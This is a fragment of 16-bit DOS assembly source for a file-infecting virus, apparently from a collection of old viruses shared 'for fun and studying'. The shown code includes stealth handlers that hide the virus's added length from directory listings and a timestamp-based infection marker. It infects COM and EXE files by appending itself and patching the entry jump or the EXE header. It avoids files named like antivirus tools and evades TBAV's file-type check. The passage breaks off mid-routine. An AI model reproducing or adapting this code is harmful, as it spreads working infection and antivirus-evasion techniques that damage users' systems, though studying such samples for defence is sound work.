nymphmit.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                                                    ;
checkFCBinfected:                                   ;
        mov     cx,word ptr es:[bx+017h]            ;CX=Time
        mov     dx,word ptr es:[bx+019h]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     restoreFCBregisters                 ;Jump if Not Equal/Zero
                                                    ;
        sub     word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
        sbb     word ptr es:[bx+01Fh],000h          ;Subtract if Borrow
                                                    ;
restoreFCBregisters:                                ;
        pop     ax bx cx dx es                      ;Restore Registers
                                                    ;
endFCBstealth:                                      ;
        iret                                        ;Interrupt Return
                                                    ;
DTAStealth:                                         ;
        pushf                                       ;Push Flags to Top of Stck
        push    cs                                  ;Push Segment onto Stack
        call    Interrupt21h                        ;Simulate Interrupt
                                                    ;
        jc      endDTAstealth                       ;Jump if Carry Flag Set
                                                    ;
        push    es dx cx bx ax                      ;Save Registers onto Stack
                                                    ;
        mov     ah,02Fh                             ;AH=2Fh / GET PSP ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        mov     cx,word ptr es:[bx+016h]            ;CX=Time
        mov     dx,word ptr es:[bx+018h]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     restoreDTAregisters                 ;Jump if Not Equal/Zero    
                                                    ;
        sub     word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
        sbb     word ptr es:[bx+01Ch],000h          ;Subtract if Borrow
                                                    ;
restoreDTAregisters:                                ;
        pop     ax bx cx dx es                      ;Restore Registers
                                                    ;
endDTAstealth:                                      ;
        retf    002h                                ;Return Far (POP 2 WORDS)
                                                    ;
disinfectCOMEXEfile:                                ;
        call    OpenAndGetSFT                       ;Call Procedure
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     disinfect_close                     ;Jump if Not Equal/Zero
                                                    ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        xchg    cx,dx                               ;Exchange Register Values
        xchg    dx,ax                               ;Exchange Register Values
                                                    ;
        push    dx cx                               ;Save File Size to Stack
                                                    ;
        sub     dx,018h                             ;Subtract 18 for Host_Byte
        sbb     cx,000h                             ;Subtract if Borrow
                                                    ;
        mov     word ptr es:[di+015h],dx            ;Move File Pointer to 
        mov     word ptr es:[di+017h],cx            ;Starting of Host_Bytes
                                                    ;
        mov     dx,offset temp_buffer               ;DX=Buffer for Data
        mov     cx,018h                             ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        mov     word ptr es:[di+015h],000h          ;Move File Pointer to 
        mov     word ptr es:[di+017h],000h          ;Starting of File (SFT)
                                                    ;
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services    
                                                    ;
        pop     cx dx                               ;Restore File Size
                                                    ;
        sub     dx,(v_end-v_start)                  ;Subtract Virus Size
        sbb     cx,000h                             ;Subtract if Borrow
                                                    ;
        mov     word ptr es:[di+015h],dx            ;Move File Pointer to 
        mov     word ptr es:[di+017h],cx            ;Starting of Virus
                                                    ;
        sub     cx,cx                               ;Load Register w/Zero
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        and     cl,0E0h                             ;Unmask Seconds Field
        or      cl,008h                             ;Set Seconds to 016d
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        jmp     preCLOSECOMEXEfile                  ;Unconditional Jump
                                                    ;
disinfect_close:                                    ;
        jmp     closeCOMEXEfile                     ;Unconditional Jump
                                                    ;
infectCOMEXEfile:                                   ;
        call    OpenAndGetSFT                       ;Call Procedure
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jz      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'BT'          ;Could It Be ThunderByte?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'-F'          ;Could it Be F-Prot?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'CS'          ;Could it Be ViruScan?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'LC'          ;Could it Be Clean?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        mov     dx,offset host_bytes                ;DX=Buffer for Data
        mov     cx,018h                             ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        mov     word ptr es:[di+015h],000h          ;Move File Pointer to
        mov     word ptr es:[di+017h],000h          ;Starting of File (SFT)
                                                    ;
        mov     si,offset temp_buffer               ;SI=Temp_buffer
                                                    ;
        mov     ax,4D5Ah                            ;** Get Rid of TBAV's
                                                    ;** EXE/COM Determination
        cmp     ax,word ptr [host_bytes+000h]       ;Is This an EXE File?
        je      infectEXEfile                       ;Jump if Equal/Zero
                                                    ;
        xchg    ah,al                               ;Exchange Registers (MZ)
                                                    ;
        cmp     ax,word ptr [host_bytes+000h]       ;Is This an EXE File?
        je      infectEXEfile                       ;Jump if Equal/Zero
                                                    ;
infectCOMfile:                                      ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        mov     word ptr [delta],ax                 ;Write New Delta Offset
                                                    ;
        sub     ax,003h                             ;Subtract 03 for JMP Loc
        mov     byte ptr [si+000h],0E9h             ;Write JMP to Buffer
        mov     word ptr [si+001h],ax               ;Write JMP Loc to Buffer
                                                    ;
        mov     cx,003h                             ;CX=Number of Bytes
        push    cx                                  ;Push Register onto Stack
                                                    ;
        jmp     continueCOMEXEinfect                ;Unconditional Jump
                                                    ;
_closeCOMEXEfile:                                   ;
        jmp     closeCOMEXEfile                     ;Unconditional Jump
                                                    ;
infectEXEfile:                                      ;
        mov     dx,si                               ;DX=Buffer for Data
        push    cx                                  ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        push    dx ax                               ;Push File Size onto Stack
                                                    ;
        add     ax,(v_end-v_start)                  ;Add Virus Size to Low Bit
        adc     dx,000h                             ;Add if Carry to High Bit
                                                    ;
        mov     cx,200h                             ;CX=Number to Divide By
        div     cx                                  ;Divide AX by CX
                                                    ;
        or      dx,dx                               ;Do We Need to Round Up?
        je      no_burp                             ;Jump if Equal/Zero
                                                    ;
        inc     ax                                  ;Increment AX
                                                    ;
no_burp:                                            ;
        mov     word ptr [si+004h],ax               ;New Length of File